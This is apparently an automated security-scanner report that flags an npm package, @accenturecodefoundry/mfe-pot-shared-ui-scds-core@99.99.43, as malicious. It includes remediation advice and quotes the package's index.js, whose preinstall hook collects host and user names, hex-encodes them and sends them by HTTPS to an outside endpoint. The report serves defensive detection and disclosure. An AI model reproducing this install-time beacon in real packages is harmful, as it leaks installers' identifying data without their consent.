AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package performs automatic install-time disclosure of identifying data to a fixed recipient without installer consent. This supports blocking the package as an installation-time data exfiltration behavior. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 91.0% - **Started:** 2026-10-16T11:21:01.185Z - **Finished:** 2026-10-16T11:22:17.400Z - **Download time:** 761 ms - **Static scan time:** 6 ms - **AI review time:** 75447 ms - **Total time:** 76215 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installation triggers an automatic request that discloses host and user identifiers to a fixed endpoint. The source provides no consent guard or package function that requires this collection. - **Trigger:** The package is installed and its preinstall hook runs. - **Impact:** The endpoint receives identifying machine and user information, and the request also exposes the installer’s network address. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-10-16T11:22:17.400Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The entrypoint reads host and user environment values, encodes them, and sends them in an HTTPS request. - **Attack narrative:** During installation, the preinstall hook runs code that collects host and user identifiers and sends them to a fixed endpoint. The source includes no consent check or functional need for this transmission; its publisher-like hostname does not establish who controls it. - **Rationale:** The package performs automatic install-time disclosure of identifying data to a fixed recipient without installer consent. This supports blocking the package as an installation-time data exfiltration behavior. - **Files touched:** package.json, index.js - **Network endpoints:** https://accenture-npm.azurewebsites.net/mfe ### Review decision - **Verdict:** Malicious - **Confidence:** 91.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The preinstall hook automatically runs the entrypoint during installation; the manifest describes the package as a placeholder., The entrypoint sends host and user identifiers, encoded in the request, to a fixed HTTPS endpoint without a consent check. - **Evidence against:** The endpoint name resembles the package publisher’s name, but the source does not establish its ownership or a functional reason for collecting these identifiers. ## Affected versions and remediation This report applies to @accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.43. - Avoid installing @accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.43. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Network - **Category:** Source - **Confidence:** 100.0% - **Path:** package.json - **Public source:** [View source]() Review focus: preinstall runs index.js; inspect the actual lifecycle command and runtime call chain rather than inferring intent from the package name. ### 2. High: Environment Vars - **Category:** Source - **Confidence:** 100.0% - **Path:** index.js - **Public source:** [View source]() Trace host/user reads, hex encoding and actual HTTPS send to /mfe. Resolve recipient selection, consent and functional purpose from source. ### 3. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = ``` ### 4. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.preinstall = node index.js || true ``` ### 5. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review.

Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 8. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 9. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 91.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook automatically runs the entrypoint during installation; the manifest describes the package as a placeholder. Public source snippet (untrusted): ```json "description": "A simple placeholder for npm.", "main": "index.js", "scripts": { "preinstall": "node index.js || true", "postinstall": "" }, "keywo ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** index.js - **Public source:** [View source]() The entrypoint sends host and user identifiers, encoded in the request, to a fixed HTTPS endpoint without a consent check. Public source snippet (untrusted): ```javascript const https = require('https'); const test = 'accenture-npm[redacted]'; try { const h = (process.env.HOSTNAME || process.env.COMPUTERNAME || 'x') + '_' + (process.env.USER || process.env.USERNAME || 'x'); https.get(`https://${test}/mfe?h=${Buffer.from(h).toString('hex')}`, () => {}); } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @accenturecodefoundry/mfe-pot-shared-ui-scds-core - **Ecosystem:** npm - **Version:** 99.99.43 - **License:** ISC - **Version published:** Not available - **Package first seen:** 2026-10-13T10:02:21.293Z - **Package last seen:** 2026-10-16T11:22:17.400Z - **Known versions:** 6 - **Latest version:** 99.99.41 - **Appeal under review:** No - **Description:** A simple placeholder for npm. - **Author:** anonymous - **Artifact signatures:** 0 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
